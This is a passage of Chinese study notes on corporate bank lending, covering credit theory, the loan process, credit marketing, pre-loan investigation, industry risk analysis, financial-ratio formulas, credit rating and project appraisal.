      • 一般要求保证人提供连带责任保证
    • 信用贷款
      • 不需要保证和抵押，仅凭借款人的信用

基本原理

公司信贷理论的发展

  1. 真实票据理论
    • 银行只发放以商业行为为基础的短期贷款
    • 具备大量发放中长期贷款的能力，但局限于短期贷款不利于经济的发展
  2. 资产转换理论
    • 银行能否保持流动性，关键在于银行资产能否转让变现，把可用资金的部分投放于二级市场的贷款与证券
    • 流动需求增大时抛售资产
    • 缺乏物质保证的贷款大量发放，为信用膨胀创造了条件
    • 经济局势和市场状况出现较大波动时，证券的大量抛售同样造成银行的巨额损失
    • 贷款平均期限的延长会增加银行系统的流动性风险
  3. 预期收入理论
    • 贷款能否到期归还，是以未来的收入为基础的，只要未来收入有保障，长期信贷和消费信贷同样能保持流动性和安全性
    • 稳定的贷款应该建立在现实的归还期限与贷款的证券担保的基础上
    • 由于收入预测与经济周期有密切关系，同时资产的膨胀和收缩也会影响资产质量，所以可能会增加银行的信贷风险
  4. 超货币供给理论
    • 只有银行能够利用信贷方式提供货币的传统观念已经不符合实际，随着货币形式的多样化，非银行金融机构也提供货币，银行信贷市场面临着很大的竞争压力，因此，银行资产应该超出单纯提供信贷货币的界限，要提供多样化的服务
  5. 永恒主题：既要努力发展业务又要控制风险

公司信贷资金的运动过程及其特征

运动过程

  • 二重支付
  • 二重归流

运动特征

  • 以偿还为前提的支出，有条件的让渡
  • 与社会物质产品的生产和流通相结合
  • 产生经济效益才能良性循环
  • 信贷资金运动以银行为轴心

信贷管理

主要原则

  1. 全流程管理原则
  2. 诚信申贷原则
  3. 协议承诺原则
  4. 贷放分控原则
  5. 实贷实付原则
    • 银行业金融机构根据借款人的有效贷款需求，主要通过贷款人受托支付的方式，将贷款资金支付给符合合同约定的借款人交易对象的过程
  6. 贷后管理原则

流程

  1. 贷款申请
  2. 受理与调查
  3. 风险评价
  4. 贷款审批
  5. 合同签订
  6. 贷款发放
    • 负责贷款发放审核
    • 负责贷款支付审核和支付操作
  7. 贷款支付
  8. 贷后管理
  9. 贷款回收与处置

组织结构

  1. 董事会及其专门委员会
    • 商业银行的最高风险管理和决策机构，承担商业银行风险管理的最终责任
  2. 监事会
    • 我国商业银行所特有的监督部门，对股东大会负责，从事商业银行内部尽职监督、财务监督、内部控制监督等工作
  3. 高级管理层
    • 负责执行风险管理政策
  4. 信贷业务前中后台部门
    • 负责客户营销和维护，也是银行的“利润中心”

第二章：公司信贷营销

目标市场分析

市场环境分析

  • 外部环境
    • 宏观环境
    • 微观环境
  • 内部环境
    • 战略目标分析
    • 银行内部资源分析
    • 银行自身实力分析
  • 市场环境分析的基本方法
    • S（Strength，优势）
    • W（Weak，劣势）
    • O（Opportunity，机遇）
    • T（Threat，威胁）

市场细分

含义

  • 按一种或几种因素加以区分，使区分后的客户需求在一个或多个方面具有相同或相近的特征，以便确定客户政策

作用

  • 有利于选择目标市场和制定营销策略
  • 有利于发掘市场机会，开拓新市场， 更好地满足不同客户对金融产品的需要
  • 有利于集中人力、物力投入目标市场

公司信贷客户市场细分

  • 按区域
  • 按产业
  • 按规模
  • 按所有者性质和组织形式
    • 国有企业
    • 民营企业
    • 外商独资企业
    • 合资和合作经营企业
    • 业主制企业

细分市场评估

  • 市场容量分析
  • 结构吸引力分析
  • 市场机会分析
  • 获利状况分析
  • 风险分析

市场选择和定位

  • 市场选择
  • 市场定位

营销策略

产品营销策略

银行公司信贷产品概述

  • 三层次理论
    • 核心产品
    • 基础产品
    • 扩展产品
  • 五层次理论
    • 核心产品
    • 基础产品
    • 期望产品
    • 延伸产品
    • 潜在产品
  • 产品开发的方法
    • 仿效法
    • 交叉组合法

产品组合策略

  • 内容
    • 产品扩张策略
    • 产品集中策略
  • 形式
    • 全线全面型
    • 市场专业型
    • 产品线专业型
    • 特殊产品专业型

产品生命周期策略

  • 介绍期
  • 成长期
  • 成熟期
  • 衰退期

定价策略

贷款定价原则

  • 利润最大化原则
  • 扩大市场份额原则
  • 保证贷款安全原则
  • 维护银行形象原则

贷款价格的构成

  • 贷款利率
  • 贷款承诺费
  • 补偿余额
  • 隐含价格

影响贷款价格的主要因素

  • 贷款成本
  • 贷款风险程度
  • 借款人的信用及与银行的关系
  • 银行贷款的目标收益率
  • 贷款供求状况
  • 贷款的期限
  • 借款人从其他途径融资的融资成本

公司贷款定价的基本方法

  • 成本加成定价法

    • 贷款利率 = 筹集可贷资金的成本 + 银行的非资金性经营成本 + 银行对贷款违约风险要求的 补偿 + 银行预期利润水平

  • 价格领导模型

银行公司信贷产品的定价策略

  • 高额定价策略
  • 渗透定价策略
  • 关系定价策略

营销渠道策略

公司信贷营销渠道分类

  • 按营销渠道模式分类
    • 自营营销渠道
    • 代理营销渠道
    • 合作营销渠道
  • 按营销渠道场所分类
    • 网点营销
    • 电子银行营销
    • 登门拜访营销

公司信贷营销渠道策略

  • 直接营销渠道策略和间接营销渠道策略
  • 单渠道策略和多渠道策略
  • 结合产品生命周期的营销渠道策略
  • 组合营销渠道策略

促销策略

  • 广告
  • 人员促销
  • 公共宣传和公共关系
  • 销售促进

营销管理

营销计划

营销组织

设立的原则

  • 因事设职与因人设职相结合
  • 权责对等
  • 命令统一

营销机构的组织形式

  • 直线职能制
  • 矩阵制
  • 事业部制

客户经理制

营销领导

  • 指挥作用
  • 激励作用
  • 协调作用
  • 沟通作用

营销控制

  • 年度计划控制
  • 盈利能力控制
  • 效率控制
  • 战略控制
  • 风险控制

第三章：贷款申请受理和贷前调查

借款人

应具备的资格和基本条件

应具备的资格

  • 核准登记的企事业法人

应具备的基本条件

  • 核心：信用良好
  • 借款人依法设立
  • 借款用途明确、合法
  • 借款人生产经营合法、合规
  • 借款人具有持续经营能力、有合法的还款来源

借款人应符合的要求

  • “诚信申贷”的基本要求
  • 借款人的主体资格要求
  • 借款人经营管理的合法合规性
  • 借款人信用记录良好
  • 贷款用途及还款来源明确合法

权利和义务

权利

  • 可以自主向主办银行或者其他银行的经办机构申请贷款并依条件取得贷款
  • 有权按合同约定提取和使用全部贷款
  • 有权拒绝借款合同以外的附加条件。借款人应承担的义务及责任应在贷款合同中载明。如在合同以外附加条件，借款人有权拒绝
  • 有权向银行的上级监管部门反映、举报有关情况
  • 在征得银行同意后，有权向第三方转让债务

义务

  • 应当如实提供银行要求的资料（法律规定不能提供者除外）
  • 应当接受贷款人对其使用信贷资金情况和有关生产经营、财务活动的监督
  • 应当按借款合同约定用途使用贷款
  • 应当按借款合同的约定及时清偿贷款本息
  • 将债务全部或部分转让给第三方的， 应当取得贷款人的同意
  • 有危及银行债权安全的情况时， 应当及时通知银行， 同时采取保全措施

贷款申请受理

面谈访问

面谈准备

  • 做好准备，拟定提纲

面谈内容

  • 6C 标准原则
  • 品德（Character）
  • 能力（Capacity）
  • 资本（Capital）
  • 担保（Collateral）
  • 环境（Condition）
  • 控制（Control）

内部意见反馈

  • 面谈情况汇报
  • 撰写会谈纪要

贷款意向阶段

贷款意向书的出具

  • 贷款意向书与贷款承诺的区别
    • 贷款意向书和贷款承诺都是贷款程序中不同阶段的成果， 常见于中长期贷款
    • 贷款意向书表明该文件是为贷款进行下一步的准备和商谈而出具的一种意向性的书面声明， 但该声明不具备法律效力，银行可以不受意向书任何内容的约束
    • 贷款承诺是借贷双方就贷款的主要条件已经达成一致，银行同意在未来特定时间内向借款人提供融资的书面承诺（这就表明贷款承诺不是在贷款意向阶段作出的），贷款承诺具有法律效力
  • 出具贷款意向书和贷款承诺的权限
  • 注意事项

贷款申请资料的准备

  • 对借款申请书的要求
    • 借款人概况
    • 申请借款金额
    • 借款币别
    • 借款期限
    • 借款用途
    • 借款利息
    • 还款来源
    • 还款保证
    • 用款计划
    • 还款计划
    • 其他事项
    • 法定代表人或其授权人在借款申请书上签字并加盖借款人公章
  • 对借款人提供其他资料的要求
    • 注册登记或批准成立的有关文件及其最新年检证明
    • 技术监督局合法的组织机构代码证书及最新年检证明
    • 借款人税务登记证
    • 借款人的验资
    • 借款近三年和最近一期的财务报表
    • 借款人贷款卡及最新年检证明
    • 借款人预留印鉴卡及开户证明
    • 法人代表或负责人身份证明及其必要的个人信息
    • 借款人自有资金、其他资金来源到位或能够计划到位的证明文件
    • 有关交易合同、协议
    • 如借款人为外商投资企业或股份制企业，应提交关于同意申请借款的董事会决议和借款授权书正本
  • 根据贷款类型，借款人还需要提供的其他材料
    • 保证形式
    • 抵（质）押形式
    • 流动资金贷款
    • 固定资产贷款

注意事项

贷前调查

贷前调查的方法

现场调研

非现场调查

  • 搜寻调查
  • 委托调查
  • 其他方法

贷前调查的内容

贷款合规性调查

贷款安全性调查

贷款效益性调查

贷前调查报告内容要求

商业银行固定资产贷款贷前调查报告内容要求

  1. 借款人资信情况
  2. 项目合法性要件取得情况
  3. 投资估算与资金筹措安排情况
  4. 项目情况
  5. 项目配套条件落实情况
  6. 项目效益情况
  7. 还款能力
  8. 担保情况
  9. 银行业金融机构收益预测
  10. 结论性意见

商业银行项目融资贷前调查报告内容要求

  1. 非财务分析
  2. 财务分析

商业银行流动资金贷款贷前调查报告内容

  1. 借款人基本情况

  2. 借款人生产经营及经济效益情况

  3. 借款人财务状况

  4. 借款人与银行的关系

  5. 借款人流动资金需求分析与测算

    • 估算借款人营运资金量

      • 营运资金量 = 上年度销售收入 ×（1 - 上年度销售利润率）×（1 + 预计销售收入年增长率）/ 营运资金周转次数

      • 其中：

      • 营运资金周转次数 = 360 /（存货周转天数 + 应收账款周转天数 - 应付账款周转天数 + 预付账款周转天数 - 预收账款周转天数）

      • 周转天数 = 360 / 周转次数

      • 应收账款周转次数 = 销售收入 / 平均应收账款余额

      • 预收账款周转次数 = 销售收入 / 平均预收账款余额

      • 存货周转次数 = 销售成本 / 平均存货余额

      • 预付账款周转次数 = 销售成本 / 平均预付账款余额

      • 应付账款周转次数 = 销售成本 / 平均应付账款余额

    • 估算新增流动资金贷款额度

      • 新增流动资金贷款额度 = 营运资金量 - 借款人自有资金 - 现有流动资金 - 其他渠道提供的营运资金

    • 考虑其他影响因素对新增流动资金贷款额度进行相应的调整

  6. 对流动资金贷款的必要性分析

  7. 对流动资金贷款的可行性分析

  8. 对贷款担保的分析

  9. 综合性结论和建议

第四章：贷款环境分析

国家与地区分析

国别风险分析

国别风险的特点

衡量国别风险的方法

  • 基本上都采取风险因素加权评分的方法

区域风险分析

外部因素分析

  • 自然条件分析
  • 产业结构分析
  • 区域经济发展水平分析
  • 市场化程度和执法及司法环境分析
  • 区域经济政策分析
  • 区域政府行为和政府信用分析

内部因素分析

信贷资产质量（安全性）
  • 信贷平均损失比率
  • 信贷资产相对不良率
  • 不良率变幅
  • 信贷余额扩张系数
  • 利息实收率
  • 加权平均期限
盈利性
流动性

行业分析

行业风险的概念及其产生

概念

产生

  • 受经济周期的影响
  • 受产业发展周期的影响
  • 受产业组织结构的影响
  • 受地区生产力布局的影响
  • 受国家政策的影响
  • 受产业链位置的影响

行业风险分析

波特五力模型

  • 新进入者进入壁垒
  • 替代品的威胁
  • 买方的讨价还价能力
  • 供方的讨价还价能力
  • 现有竞争者的竞争能力

行业风险分析框架

  1. 行业成熟度
    • 四阶段模型
    • 启动阶段
    • 成长阶段
    • 成熟阶段
    • 衰退阶段
  2. 行业内竞争程度
  3. 替代品潜在威胁
  4. 成本结构
    • 固定成本
    • 变动成本
    • 经营杠杆
  5. 经济周期（行业周期）
    • 顶峰
    • 衰退
    • 谷底
    • 复苏
    • 扩张
  6. 行业进入壁垒
  7. 行业政策法规

行业风险评估工作表

主要内容

  • 行业名称
  • 行业分析框架中所列举的七项潜在风险及每个风险对应的程度
  • 整体行业风险评估

注意事项

  1. 明确行业的性质，必要情况下，划分为细分市场
  2. 可能不仅仅局限于一个行业
  3. 不同的评估人员也许会有不同的意见，尽量讨论
  4. 无法精确地判断风险级别时，可以同时用两个级别
  5. 确定行业整体风险的时候，并不是简单地将评估出来的七项风险进行平均

第五章：借款需求分析

概述

含义

  • 借款需求指的是公司为什么会出现资金短缺并需要借款
  • 借款目的主要是指借款用途

意义

  • 借款需求与还款能力和风险评估紧密相连，是决定贷款期限、利率等要素的重要因素

影响因素

  • 现金流量表、资产负债表还是损益表，可以用来作为公司借款需求分析的基础
  • 通过分析这些数据可以侧面看出企业借款需求的影响

内容

销售变化引起的需求

季节性销售增长

  • 三个主要融资渠道

    • 季节性负债增加：应付账款和应计费用
    • 内部融资：来自公司内部的现金和有价证券
    • 银行贷款

  • 能够获得的信息

    • 指标影响来源
      应收账款 + 存货->融资需求
      应付账款 + 应计费用<-来自原材料、工资
      = 营运资本投资<-来自公司现金资源和借贷的融资

长期销售增长

资产增长的模式
可持续增长率的计算

  • 假设条件

    • 公司的资产使用效率将维持当前水平
    • 公司的销售净利率将维持当前水平，并且可以涵盖负债的利息
    • 公司保持持续不变的红利发放政策
    • 公司的财务杠杆不变
    • 公司未增发股票，增加负债是其唯一的外部融资来源

  • 计算公式

    • 可持续增长率（SGR）

      = 资本回报率（ROE）· 留存收益率（RR）/（1 - ROE · RR）

    • 资本回报率（ROE） = 净利润 / 所有者权益

    • 留存收益率（RR）= 1 - 红利支付率

    • 红利支付率 = 股息分红 / 净利润

  • 财务分析中，ROE 又可以分解为：利润率、资产效率和财务杠杆

    • 资本回报率（ROE）= 利润率 · 资产使用效率 · 财务杠杆

    • 利润率 = 净利润 / 销售收入

    • 资产使用效率 = 销售收入 / 总资产

    • 财务杠杆 = （总资产 / 所有者权益）或（1 + (负债 / 所有者权益)）

资产变化引起的需求

资产效率的下降

固定资产的重置和扩张

固定资产的重置

  • 固定资产使用率 = (累计折旧 / 总折旧固定资产) · 100%

  • 固定资产剩余寿命 = 净折旧固定资产 / 折旧支出

固定资产扩张

股权投资

负债和分红变化引起的需求

商业信用的减少和改变

债务重构

  • 公司经常会用一种债务替代另一种债务，典型的例子就是向银行举债以替代商业信用

红利的变化

其他变化引起的需求

利润率下降

  • 公司的盈利趋势、行业风险和业务风险分析非常重要

非预期性支出

借款需求与负债结构

  1. 季节性销售模式
  2. 销售增长旺盛时期
  3. 资产使用效率下降
  4. 固定资产重置或扩张
  5. 长期投资
  6. 商业信用的减少和改变
  7. 债务重构
  8. 盈利能力不足
  9. 额外的或非预期性支出

第六章：客户分析

客户品质分析

客户品质的基础分析

客户历史分析

  • 成立动机
  • 经营范围
  • 名称变更
  • 以往重组情况

法人治理结构分析

  • 客户法人治理结构的不完善，有可能对其正常的生产经营带来难以预期的负面影响
  • 三类客户的法人治理关注点重点分析：
  • 上市客户
    • 股权结构不合理
    • 关键人控制
    • 信息披露的实际质量难以保证
  • 国有独资客户
    • 所有者缺位
    • 行政干预
    • 民营客户

股东背景

  • 家庭背景
  • 外资背景
  • 政府背景
  • 上市背景

高管人员的素质

  • 教育背景
  • 商业经验
  • 修养品德
  • 经营作风
  • 进取精神

信誉状况

  • 不良记录
  • 拖欠贷款
  • 偷税漏税
  • 虚假报表
  • 隐瞒事实
  • 分析主要股东

客户经营管理状况

供应阶段分析

  • 货品质量
  • 货品价格
  • 进货渠道
    • 有无中间环节
    • 供货地区的远近
    • 运输方式的选择
    • 进货资质的取得
  • 付款条件

生产阶段分析

  • 技术水平
  • 设备状况
  • 环保情况

销售阶段分析

  • 目标客户
  • 销售渠道
    • 直接销售
    • 间接销售
  • 收款条件
    • 两个因素
      • 市场供求
      • 厂商品牌
    • 三种方式
      • 预收货款
      • 现货交易
      • 赊账销售

产品竞争力和经营业绩分析

  • 产品竞争力分析
  • 经营业绩分析

客户财务分析

概述

含义

  • 财务报表为主要依据

内容

  • 财务报表偿债能力评价因素
    • 盈利能力
    • 营运能力
    • 资本结构
    • 净现金流量
    • 等
  • 财务指标反映的财务状况
    • 盈利比率
      • 计算利润与销售收入的比例
      • 主要包括销售利润率、营业利润率、净利润率、成本费用率等
    • 效率比率
      • 计算资产的周转速度
      • 主要包括总资产周转率、固定资产周转率、应收账款回收期、存货持有天数、资产收益率、所有者权益收益率
    • 杠杆比率
      • 比较借入资金和所有者权益
      • 一般包括资产负债率、负债与所有者权益比率、负债与有形净资产比率、利息保障倍数等
    • 偿债能力比率
      • 是判断企业负债的安全性和短期负债的偿还能力的比率
      • 主要有资产负债率、流动比率和速动比率等

财务报表分析的资料

  • 会计报表
  • 会计报表附注和财务状况说明书
  • 注册会计师查账验证报告
  • 其他资料

财务分析的方法

  • 趋势分析法
  • 结构分析法
    • 以财务报表中的某一总体指标为基础，计算其中各构成项目占总体指标的百分比，然后比较不同时期各项目所占百分比的增减变动趋势
  • 比率分析法
  • 比较分析法
    • 将客户的有关财务指标数据与同行业平均水平或在不同企业之间进行比较，找出差异及其产生原因
  • 因素分析法
    • 找出并分析影响客户经营活动的各种因素
    • 包括有利因素、不利因素、外部因素和内部因素等

资产负债表分析

构成

资产的组成
  • 流动资产
    • 一年内或在一个营业周期内变现或者耗用的资产
    • 包括货币资金、短期投资、应收票据、应收账款、预付账款、存货、待摊费用等
  • 非流动资产
    • 一年内不能变现的资产
    • 包括长期投资、固定资产、无形及递延资产和其他长期资产等
负债的组成
  • 流动负债
    • 借款人在生产经营过程中应付给他人的资金，是借款人承担的应在一年或在一个营业周期内偿还的债务
    • 包括短期借款、应付票据、应付账款、预收账款、 应付工资、应交税费、应付利润、其他应付款和预提费用等
  • 长期负债
    • 借款人为增添设备、购置房地产等扩大经营规模的活动通过举债或发行债券而筹集的资金
    • 长期负债包括长期借款、应付长期债券、长期应付款等
所有者权益的组成
  • 所有者权益代表投资者对净资产的所有权
  • 净资产是借款人全部资产减去全部负债的净额
    • 一部分是投资者投入的资本金
      • 资本金是投资者实际投入生产经营活动供长期使用的资金
    • 另一部分是在生产经营过程中形成的资本公积金、盈余公积金和未分配利润
      • 资本公积金包括股本溢价、法定财产重估和接受捐赠的资产价值等
      • 盈余公积金是按照有关规定从利润中提取的各种公积金，具体包括法定盈余公积金和任意盈余公积金
      • 未分配利润是借款人留于以后年度分配的利润或待分配利润

资产结构分析

  • 资产结构是指各项资产占总资产的比重
  • 资产结构分析是指通过计算各项资产占总资产的比重，来分析判断借款人资产分配的合理性
  • 借款人行业和资产转换周期的长短不同，故其资产结构也不同

资金结构分析

  • 一是借入资金，包括流动负债和长期负债
  • 二是自有资金，即所有者权益
  • 资金结构是指借款人的全部资金中负债和所有者权益所占的比重及相互关系
  • 借款人资金来源结构状况直接影响其偿债能力
  • 借款人的资金结构应与资产转换周期相适应
  • 客户的长期资金在客户的资金构成中占有十分重要的地位
  • 分析资金结构是否合理，重点关注以下内容：
    • 资产负债表结构
    • 经营风险水平

损益表分析

概念

  • 损益表又称利润表，它是通过列示借款人在一定时期内取得的收入，所发生的费用支出和所获得的利润来反映借款人一定时期内经营成果的报表
  • 过损益表可以考核借款人经营计划的完成情况，可以预测借款人收入的发展变化趋势， 进而预测借款人未来的盈利能力

损益表的调整

  • 损益表编制原理：利润 = 收入 - 费用
  • 调整步骤：
  1. 第一步，从主营业务收入中减去主营业务成本、营业费用、营业税，得出主营业务利润，即毛利润；
  2. 第二步，以主营业务利润为基础，加上其他业务利润，减去管理费用、财务费用，得出营业利润；
  3. 第三步，在营业利润上加投资收益和营业外收入，减去营业外支出，得出利润总额；
  4. 第四步，从利润总额出发，减去所得税，得出当期净利润。

损益表的结构分析

  • 结构分析法：结构分析，是以财务报表中的某一总体指标为 100%，计算其各组成部分占总体指标的百分比，然后比较若干连续时期的各项构成指标的增减变动趋势

现金流量分析

现金及现金流量的概念

  • 现金及现金等价物的概念
  • 现金流量的概念

现金流量的计算

  • 具体内容

    • 现金净流量 = 经营活动的现金净流量 + 投资活动的现金净流量 + 融资活动的现金净流量

  • 计算方法

    • 首先，计算资产负债表各科目期初数和期末数的变动情况

      • 项目变动数（△项目）= 期末数 - 期初数

    • 其次，确定项目变动数是现金流出还是现金流入

    • 最后，计算现金流量

经营活动的现金流量的计算

  • 直接法

    • 销售所得现金

      • 销售所得现金 = 销售收入 - △ 应收账款

    • 购货所付现金

      • 购货所付现金 = 销售成本 - △应付账款 + △存货

    • 管理费用现金支出

      • 经营费用现金支出 = 经营费用 - 折旧 - 摊销 - △应付费用 + △预付费用

    • 其他业务现金收入、对外投资利息和股息现金收入

    • 支付利息

      • 应付未付利息 = 利息 - △应付利息

    • 缴纳所得税

  • 间接法

    • 以损益表中最末一项净收益为出发点

    • 加上 没有现金流出的费用 和 引起现金流入的资产负债表项目的变动值

    • 减去 没有现金流入的收入 和 引起现金流出的资产负债表项目的变动值

    • 投资 活动的现金流出（流入）= △固定资产 + △投资 + △无形资产

    • 融资 活动的现金流出(流入) = △长期负债+△短期负债+△股东权益

财务报表综合分析

盈利能力分析（盈利比率）

销售利润率（毛利润率）

  • 销售利润率 = (销售利润 / 销售收入净额) · 100%

  • 销售利润 = 销售收入净额 - 销售成本 - 销售费用 - 销售税金及附加

营业利润率

  • 营业利润率 = (营业利润 / 销售收入净额) · 100%

  • 营业利润 = 销售利润 - 管理费用 - 财务费用

税前利润率和净利润率

  • 税前利润率 = (利润总额/销售收入净额) · 100%

  • 利润总额 = 营业利润 + 投资净收益 + 营业外收入 - 营业外支出

  • 净利润率 = (净利润 / 销售收入净额) · 100%

  • 净利润 = 利润总额 - 所得税

成本费用利润率

  • 成本费用利润率 = (利润总额 / 成本费用总额) · 100%

  • 成本费用总额 = 销售成本 + 销售费用 + 管理费用 + 财务费用

偿债能力分析

长期偿债能力分析

  1. 杠杆比率:主要通过比较资产、负债和所有者权益的关系来评价客户负债经营的能力

  2. 包括资产负债率、负债与所有者权益比率、负债与有形净资产比率、利息保障倍数等

  3. 资产负债率

  • 资产负债率 = (负债总额 / 资产总额) · 100%

  1. 负债与所有者权益比率

  • 负债与所有者权益比率 = (负债总额 / 所有者权益) · 100%

  1. 负债与有形净资产比率

  • 负债与有形净资产比率 = (负债总额 / 有形净资产) · 100%

  • 有形净资产 = 所有者权益 - 无形资产 - 递延资产

  1. 利息保障倍数

  • 利息保障倍数 = (利润总额 + 利息费用) · 利息费用

  1. 其它因素
  • 客户的现金流量
  • 较长时期的经营性租赁业务
  • 合资经营
  • 或有负债
  • 子公司的状况
  • 等
短期偿债能力分析

  1. 偿债能力比率：反映客户短期偿债能力的比率

  2. 主要包括：流动比率、速动比率和现金比率

  3. 流动比率：表明借款人每元流动负债有多少流动资产作为偿还的保证

  • 流动比率 = (流动资产 / 流动负债) · 100%

  • 部分行业流动比率参考指标

  1. 速动比率

  • 速动资产：易于立即变现、具有即时支付能力的流动资产

  • 速动比率 = (速动资产 / 流动负债) · 100%

  • 速动资产 = 流动资产 - 存货 - 预付账款 - 待摊费用

  • 部分行业速动比率参考指标

  1. 现金比率

  • 现金比率 = (现金类资产 / 流动负债) · 100%

  • 现金类资产是速动资产扣除应收账款后的余额，包括货币资金和易于变现的有价证券

  1. 营运资金

  • 营运资金 = 流动资产 - 流动负债

  1. 现金债务总额比

  • 现金债务总额比 = 经营活动现金净流量 / 债务总额

  1. 其他因素
  • 借款人的或有负债一旦成为真正的负债，将加重客户的债务负担，影响其短期偿债能力
  • 借款人闲置不用的资产、已经开发出来将要转让的无形资产等，会增强其短期偿债能力

营运能力分析

  1. 效率比率 ：总资产周转率、流动资产周转率、固定资产周转率、应收账款周转率、存货周转率、资产收益率和所有者权益收益率等
  2. 总资产周转率

  • 总资产周转率 = (销售收入净额 / 资产平均总额) · 100%

  • 资产平均总额 = (期初余额 + 期末余额) / 2

  1. 流动资产周转率

  • 流动资产周转率 = (主营业务收入净额 / 流动资产平均净值) · 100%

  • 流动资产平均净值 = (期初流动资产 + 期末流动资产) /2

  • 流动资产周转天数 = 计算期天数 / 流动资产周转率

  1. 固定资产周转率

  • 固定资产周转率 = (销售收入净额 / 固定资产平均净值) · 100%

  • 固定资产平均净值 = (年初固定资产净值 + 年末固定资产净值) / 2

  • 固定资产的净值随折旧时间推移而减少，随着固定资产的更新改造而增加，这些都会影响固定资产周转率

  • 在不同企业间进行比较时，还要考虑由于采用不同折旧方法对固定资产净值的影响

  • 不同行业间作比较时，应考虑由于行业性质的不同造成的固定资产状况的不同

  1. 应收账款周转率

  • 应收账款周转率 = (赊销收入净额 / 应收账款平均余额) · 100%

  • 赊销收入净额 = 销售收入 - 现销收入 - 销售退回 - 销售折让 - 销售折扣

  • 应收账款平均余额 = (期初应收账款余额 + 期末应收账款余额) / 2

  • 应收账款回收期数

    = 计算期天数 / 应收账款周转次数 = 应收账款平均余额计算期天数 / 赊销收入净额

  • 应当注意：

    • 在与其他企业比较时，由于公开财务信息资料中很少表明赊账净额，所以在计算应收账款周转率时可采用销售收入净额
    • 应收账款数额应包括资产负债表中的“应收账款”与“应收票据”等全部数额；但如果应收票据已向银行办理了贴现手续，这些应收票据就不应包括在应收账款平均余额之内
    • 应收账款余额应是扣除坏账准备后的净额
  1. 存货周转率

  • 存货周转率 = (销货成本 / 平均存货余额) · 100%

  • 平均存货余额 = (期初存货余额 + 期末存货余额) / 2

  • 存货持有天数

    = 计算期天数 / 存货周转次数 = 存货平均余额 × 计算期天数 / 销货成本

  1. 资产收益率

  • 资产收益率 = (税前净利润 / 资产平均总额) · 100%

  • 资产平均总额 = (期初资产总额 + 期末资产总额) / 2

  1. 所有者权益收益率

  • 所有者权益收益率 = (利润总额 / 有形净资产) · 100%

  1. 部分行业效益比率参考指标

客户信用评级

评级因素及方法

评级因素

  • 财务报表分析结果
  • 借款人的行业特征
  • 借款人财务信息的质量
  • 借款人资产的变现性
  • 借款人的管理水平
  • 借款人所在国家
  • 特殊事件的影响
  • 被评级交易的结构

客户信用评级方法

定性分析法
  • 最广泛：5Cs 系统
    • 品德（Character）：借款人声誉的衡量
    • 资本（Capital）：借款人的财务杠杆状况及资本金情况
    • 还款能力（Capacity）
      • 借款人未来现金流量的变动趋势及波动性
      • 另一方面是借款人的管理水平
    • 抵押（Collateral）
      • 借款人应提供一定的、合适的抵押品以减少或避免商业银行贷款损失，特别是在中长期贷款中，如果没有担保品作为抵押，商业银行通常不予放款
    • 经营环境（Condition）
      • 商业周期所处阶段
      • 借款人所在行业状况
      • 利率水平
      • 等因素
  • 针对企业信用分析的 5Ps 系统
    • 个人因素（Personal Factor）
    • 资金用途因素（Purpose Factor）
    • 还款来源因素（Payment Factor）
    • 保障因素（Protection Factor）
    • 企业前景因素（Perspective Factor）
  • 针对商业银行等金融机构的骆驼（CAMEL）分析系统
    • 资本充足率（Capital Adequacy）
    • 资产质量（Assets Quality）
    • 管理能力（Management）
    • 盈利性（Earning）
    • 流动性（Liquidity）
定量分析法
  • 穆迪的 Risk Calc 和 Credit Monitor、KPMG 的风险中性定价模型和死亡概率模型，在银行业引起了很大反响

操作程序和调整

信用评级操作程序

信用评级的调整

第七章：贷款项目评估

概述

基本概念

  • 项目的可行性研究和贷款项目评估是相同的，它们的区别主要表现在以下几个方面：
  • 发起的主体不同
  • 发生的时间不同
  • 研究的范围与侧重点不同
  • 进行项目评估和可行性研究的目的不同

项目评估的内容

项目建设的必要性评估

项目建设配套条件评估

  • 水电气、交通
  • 土地、资源、环保
  • 等

项目技术评估

  • 项目所采用的技术是否先进、适用、合理、协调，是否与项目其他条件相配套
  • 项目设备选择是否合理

借款人及项目股东情况

项目财务评估

  • 项目投资估算与资金筹措评估
  • 项目基础财务数据评估
  • 项目的盈利能力和清偿能力评估
  • 不确定性评估

项目担保及风险分担

  • 所提供的担保是否合法、有效、足额可靠，是否以项目 资产设定抵押，担保法律文件是否完善，项目是否投保必要的商业保险
  • 项目风险是否在借款人、出资人、项目承包方、施工方等各参与方之间得到合理分配
  • 完工担保是否落实项目的政策风险、筹资风险、完工风险、产品市场风险、超支风险、原材料风险、营运风险、汇率风险、环保风险和其他相关风险是否得到有效控制等

项目融资方案

  • 综合判定包括贷款金额、期限、还款计划、项目收入账户等在内的融资方案安排是否合理可行

银行效益评估

  • 盈利性效益评估
  • 流动性效益评估
  • 银行效益动态分析

项目评估的要求和组织

项目评估的意义

项目非财务分析

项目背景分析

宏观背景

  • 项目建设是否符合国民经济平衡发展的需要
  • 项目建设是否符合国家的产业政策、技术政策和地区、部门发展规划

微观背景

  • 项目企业分析
    • 企业的基础
      • 历史、规模、组织、技术水平等
    • 企业管理水平
    • 企业财务状况
    • 企业信用度
  • 投资的理由
  • 投资环境评估

市场需求预测分析

市场需求预测的主要相关因素

  • 产品特征和消费条件
  • 社会购买力与产品价格水平

市场需求预测的内容

估计潜在的市场需求总量
  • 总市场潜量：Q = npq
  • Q：市场潜量
  • n：给定的条件下特定产品或市场中的购买者的数量
  • p：单位产品的价格
  • q：购买者的平均购买量
估计区域市场潜在需求量
评估行业销售额和企业的市场占有率

生产规模分析

项目规模的主要制约因素

  • 国民经济发展规划、战略布局和有关政策
  • 项目所处行业的技术经济特点
  • 生产技术和设备、设施状况
  • 资金和基本投入物
  • 其他生产建设条件

项目规模评估的内容

项目规模评估的方法

原辅料供给分析

技术及工艺流程分析

产品技术方案分析

工艺技术方案评估

  • 工艺技术的先进性和成熟性
  • 工艺技术的原材料适应性
  • 工艺技术方案是否能保证产品质量
  • 产业基础和生产技术水平的协调性
  • 工艺技术的经济合理性
  • 技术来源的可靠性和经济性
  • 工艺技术实施的可行性
  • 工艺技术实施对生态环境的影响

设备评估

  • 设备的生产能力和工艺要求
  • 选择的设备具有较高的经济性
  • 设备的配套性
  • 设备的使用寿命和可维护性
  • 设备的可靠性

工程设计方案的评估

  • 总平面布置方案分析
  • 主要工程设计方案分析

项目环境条件分析

项目建设条件分析

  • 财务资源分析
  • 厂址选择条件分析
  • 相关项目分析
  • 交通运输条件分析
  • 环境保护方案分析

项目生产条件分析

  • 资源条件分析
  • 原材料供应条件分析
  • 燃料及动力供应条件分析

项目组织与人力资源分析

项目组织机构分析

  • 项目实施机构的分析
  • 项目经营机构的分析
  • 项目协作机构的分析

